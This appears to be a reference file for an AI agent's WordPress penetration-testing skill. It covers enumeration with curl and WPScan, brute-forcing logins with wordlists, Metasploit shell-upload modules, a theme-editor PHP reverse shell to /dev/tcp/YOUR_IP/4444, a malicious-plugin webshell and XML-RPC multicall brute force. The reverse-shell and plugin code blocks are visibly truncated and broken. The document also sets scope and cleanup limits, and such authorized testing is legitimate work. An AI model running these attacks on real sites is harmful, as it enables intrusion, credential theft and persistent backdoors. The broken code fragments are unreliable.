# WordPress Penetration Testing - Detailed Guide > This file contains the detailed procedure and reference material extracted from `SKILL.md` for focused loading. The root skill defines activation, examples, safety constraints, and limitations. ## Resolve the Installed Surface Do not assume a WordPress version, release date or plugin route from a generic guide. Inventory the actual core/PHP/plugin versions using owner-supplied information and scoped discovery. The Abilities API is documented from WordPress 6.9; AI connectors, collaboration and DataViews behavior depend on the installed core/plugins and configuration. Public route presence is not proof of a vulnerability. Discover registered routes and methods, inspect permission callbacks/schemas, then design minimal role-based tests in a disposable copy with synthetic data. ## Purpose Conduct comprehensive security assessments of WordPress installations including enumeration of users, themes, and plugins, vulnerability scanning, credential attacks, and exploitation techniques. Choose scope from the owner’s actual asset inventory, not an unsupported market-share estimate. ## Outputs and Deliverables 1. **WordPress Enumeration Report** - Version, themes, plugins, users 2. **Vulnerability Assessment** - Identified CVEs and misconfigurations 3. **Credential Assessment** - Weak password findings 4. **Minimal Proof and Cleanup** - Reproducible scoped evidence, affected permission boundary and verified removal/restoration of test artifacts. Shell access is not a default deliverable. ## Core Workflow ### Phase 1: WordPress Discovery Identify WordPress installations: ```bash # Check for WordPress indicators curl -s http://target.com | grep -i wordpress curl -s http://target.com | grep -i "wp-content" curl -s http://target.com | grep -i "wp-includes" # Check common WordPress paths curl -I http://target.com/wp-login.php curl -I http://target.com/wp-admin/ curl -I http://target.com/wp-content/ curl -I http://target.com/xmlrpc.php # Check meta generator tag curl -s http://target.com | grep "generator" # Nmap WordPress detection nmap -p 80,443 --script http-wordpress-enum target.com ``` Key WordPress files and directories: - `/wp-admin/` - Admin dashboard - `/wp-login.php` - Login page - `/wp-content/` - Themes, plugins, uploads - `/wp-includes/` - Core files - `/xmlrpc.php` - XML-RPC interface - `/wp-config.php` - Configuration (not accessible if secure) - `/readme.html` - Version information ### Phase 2: Basic WPScan Enumeration Comprehensive WordPress scanning with WPScan: ```bash # Basic scan wpscan --url http://target.com/wordpress/ # With API token (for vulnerability data) # Configure the API token locally using WPScan's documented environment/config # support; never put a real token in argv, reports or repository files. wpscan --url https://wordpress.example.test # Aggressive detection mode wpscan --url http://target.com --detection-mode aggressive # Output to file wpscan --url http://target.com -o results.txt # JSON output wpscan --url http://target.com -f json -o results.json # Verbose output wpscan --url http://target.com -v ``` ### Phase 3: WordPress Version Detection Identify WordPress version: ```bash # WPScan version detection wpscan --url http://target.com # Manual version checks curl -s http://target.com/readme.html | grep -i version curl -s http://target.com/feed/ | grep -i generator curl -s http://target.com | grep "?ver=" # Check meta generator curl -s http://target.com | grep 'name="generator"' # Check RSS feeds curl -s http://target.com/feed/ curl -s http://target.com/comments/feed/ ``` Version sources: - Meta generator tag in HTML - readme.html file - RSS/Atom feeds - JavaScript/CSS file versions ### Phase 4: Theme Enumeration Identify installed themes: ```bash # Enumerate all themes wpscan --url http://target.com -e at # Enumerate vulnerable themes only wpscan --url http://target.com -e vt # Theme enumeration with detection mode wpscan --url http://target.com -e at --themes-detection aggressive # Manual theme detection curl -s http://target.com | grep "wp-content/themes/" curl -s http://target.com/wp-content/themes/ ``` Theme vulnerability checks: ```bash # Search for theme exploits searchsploit wordpress theme # Check theme version curl -s http://target.com/wp-content/themes//style.css | grep -i version curl -s http://target.com/wp-content/themes//readme.txt ``` ### Phase 5: Plugin Enumeration Identify installed plugins: ```bash # Enumerate all plugins wpscan --url http://target.com -e ap # Enumerate vulnerable plugins only wpscan --url http://target.com -e vp # Aggressive plugin detection wpscan --url http://target.com -e ap --plugins-detection aggressive # Mixed detection mode wpscan --url http://target.com -e ap --plugins-detection mixed # Manual plugin discovery curl -s http://target.com | grep "wp-content/plugins/" curl -s http://target.com/wp-content/plugins/ ``` Common vulnerable plugins to check: ```bash # Search for plugin exploits searchsploit wordpress plugin searchsploit wordpress mail-masta searchsploit wordpress slideshow gallery searchsploit wordpress reflex gallery # Check plugin version curl -s http://target.com/wp-content/plugins//readme.txt ``` ### Phase 6: User Enumeration Discover WordPress users: ```bash # WPScan user enumeration wpscan --url http://target.com -e u # Enumerate specific number of users wpscan --url http://target.com -e u1-100 # Author ID enumeration (manual) for i in {1..20}; do curl -s "http://target.com/?author=$i" | grep -o 'author/[^/]*/' done # JSON API user enumeration (if enabled) curl -s http://target.com/wp-json/wp/v2/users # REST API user enumeration curl -s http://target.com/wp-json/wp/v2/users?per_page=100 # Login error enumeration curl -X POST -d "log=admin&pwd=wrongpass" http://target.com/wp-login.php ``` ### Phase 7: Comprehensive Enumeration Run all enumeration modules: ```bash # Enumerate everything wpscan --url http://target.com -e at,ap,u # Alternative comprehensive scan wpscan --url http://target.com -e vp,vt,u,cb,dbe # Enumeration flags: # at - All themes # vt - Vulnerable themes # ap - All plugins # vp - Vulnerable plugins # u - Users (1-10) # cb - Config backups # dbe - Database exports # Full aggressive enumeration wpscan --url http://target.com -e at,ap,u,cb,dbe \ --detection-mode aggressive \ --plugins-detection aggressive ``` ### Phase 8: Password Attacks Brute-force WordPress credentials: ```bash # Single user brute-force wpscan --url http://target.com -U admin -P /usr/share/wordlists/rockyou.txt # Multiple users from file wpscan --url http://target.com -U users.txt -P /usr/share/wordlists/rockyou.txt # With password attack threads wpscan --url http://target.com -U admin -P passwords.txt --password-attack wp-login -t 1 # XML-RPC testing only if explicitly included in the approved credential-assessment scope wpscan --url http://target.com -U admin -P passwords.txt --password-attack xmlrpc # Brute-force with API limiting wpscan --url http://target.com -U admin -P passwords.txt --throttle 500 # Create targeted wordlist cewl http://target.com -w wordlist.txt wpscan --url http://target.com -U admin -P wordlist.txt ``` Password attack methods: - `wp-login` - Standard login form - `xmlrpc` - XML-RPC authentication; verify installed tool semantics, not assumed multicall speed - `xmlrpc-multicall` - Multiple passwords per request ### Phase 9: Vulnerability Exploitation #### Metasploit Shell Upload After obtaining credentials: ```bash # Start Metasploit msfconsole # Admin shell upload use exploit/unix/webapp/wp_admin_shell_upload set RHOSTS target.com set USERNAME admin set PASSWORD set TARGETURI /wordpress set LHOST exploit ``` #### Plugin Exploitation ```bash # Slideshow Gallery exploit use exploit/unix/webapp/wp_slideshowgallery_upload set RHOSTS target.com set TARGETURI /wordpress set USERNAME admin set PASSWORD set LHOST exploit # Search for WordPress exploits search type:exploit platform:php wordpress ``` #### Manual Exploitation Theme/plugin editor (with admin access): ```php // Navigate to Appearance > Theme Editor // Edit 404.php or functions.php // Add PHP reverse shell: & /dev/tcp/YOUR_IP/4444 0>&1'"); ?> // Or use weevely backdoor // Access via: http://target.com/wp-content/themes/theme_name/404.php ``` Plugin upload method: ```bash # Create malicious plugin cat > malicious.php << 'EOF' EOF # Zip and upload via Plugins > Add New > Upload Plugin zip malicious.zip malicious.php # Access webshell curl "http://target.com/wp-content/plugins/malicious/malicious.php?cmd=id" ``` ### Phase 10: Advanced Techniques #### XML-RPC Exploitation ```bash # Check if XML-RPC is enabled curl -X POST http://target.com/xmlrpc.php # List available methods curl -X POST -d 'system.listMethods' http://target.com/xmlrpc.php # Brute-force via XML-RPC multicall cat > xmlrpc_brute.xml << 'EOF' system.multicall methodNamewp.getUsersBlogs params admin password1 methodNamewp.getUsersBlogs params admin password2 EOF curl -X POST -d @xmlrpc_brute.xml http://target.com/xmlrpc.php ``` #### Scanning Through Proxy ```bash # Use Tor proxy wpscan --url http://target.com --proxy socks5://127.0.0.1:9050 # HTTP proxy wpscan --url http://target.com --proxy http://127.0.0.1:8080 # Burp Suite proxy wpscan --url http://target.com --proxy http://127.0.0.1:8080 ``` #### HTTP Authentication ```bash # Basic authentication wpscan --url http://target.com --http-auth admin:password # Use HTTPS with certificate verification; do not disable TLS checks by default wpscan --url https://target.com ``` ## Quick Reference ### WPScan Enumeration Flags | Flag | Description | |------|-------------| | `-e at` | All themes | | `-e vt` | Vulnerable themes | | `-e ap` | All plugins | | `-e vp` | Vulnerable plugins | | `-e u` | Users (1-10) | | `-e cb` | Config backups | | `-e dbe` | Database exports | ### Common WordPress Paths | Path | Purpose | |------|---------| | `/wp-admin/` | Admin dashboard | | `/wp-login.php` | Login page | | `/wp-content/uploads/` | User uploads | | `/wp-includes/` | Core files | | `/xmlrpc.php` | XML-RPC API | | `/wp-json/` | REST API | ### WPScan Command Examples | Purpose | Command | |---------|---------| | Basic scan | `wpscan --url http://target.com` | | All enumeration | `wpscan --url http://target.com -e at,ap,u` | | Password attack | `wpscan --url http://target.com -U admin -P pass.txt` | | Aggressive | `wpscan --url http://target.com --detection-mode aggressive` | ## Troubleshooting ### WPScan Shows No Vulnerabilities **Solutions:** 1. Use API token for vulnerability database 2. Try aggressive detection mode 3. Check for WAF blocking scans 4. Verify WordPress is actually installed ### Credential Assessment Blocked Stop at the agreed attempt/rate/lockout limit and report the observed control. Coordinate a new explicitly authorized lab test if another authentication path needs assessment; do not bypass rate limiting, MFA or source-IP controls as a troubleshooting shortcut. ### Cannot Access Admin Panel **Solutions:** 1. Verify credentials are correct 2. Check for two-factor authentication 3. Look for IP whitelist restrictions 4. Check for login URL changes (security plugins) ## Role-Based REST/Ability Validation After the root command-confirmation gate, discover the actual installed route schema and compare unauthenticated, low-privilege and authorized-owner behavior using synthetic fixtures. For an ability, verify registration, intended REST exposure, argument schema and permission_callback. Do not invent /ai/v1/prompt, /abilities/v1/manifest or generic admin-ajax actions. A GET route’s existence is not credential disclosure, and a response to a test string does not establish SQL injection or prompt-induced data access. Use a harmless read-only fixture first. A mutation such as updating inventory needs a disposable product, explicit expected value and restoration check; never send quantity=0 to a real catalog. Do not submit DROP TABLE probes or prompts requesting real user emails. Capture redacted request/response and server-side evidence, classify confirmed impact separately from scanner matches, and report exact version/configuration limits. ## Cleanup and Evidence Credential attempts, shell uploads and editor changes above are separate high-impact lab techniques, each requiring the root exact-command confirmation. Default to the smallest proof the scope requires. Keep before hashes/backups, name every artifact and ensure test plugins, listeners, accounts and edited files are removed/restored; verify both application function and changed-file hashes. Do not leave command-execution plugins or reverse shells on a live system. Discovery/version banners and CVE databases can be stale; confirm installed versions and exploit prerequisites before asserting a finding. ## Primary Sources - [WordPress Abilities API](https://developer.wordpress.org/apis/abilities-api/) - [WPScan user documentation](https://github.com/wpscanteam/wpscan/wiki/WPScan-User-Documentation)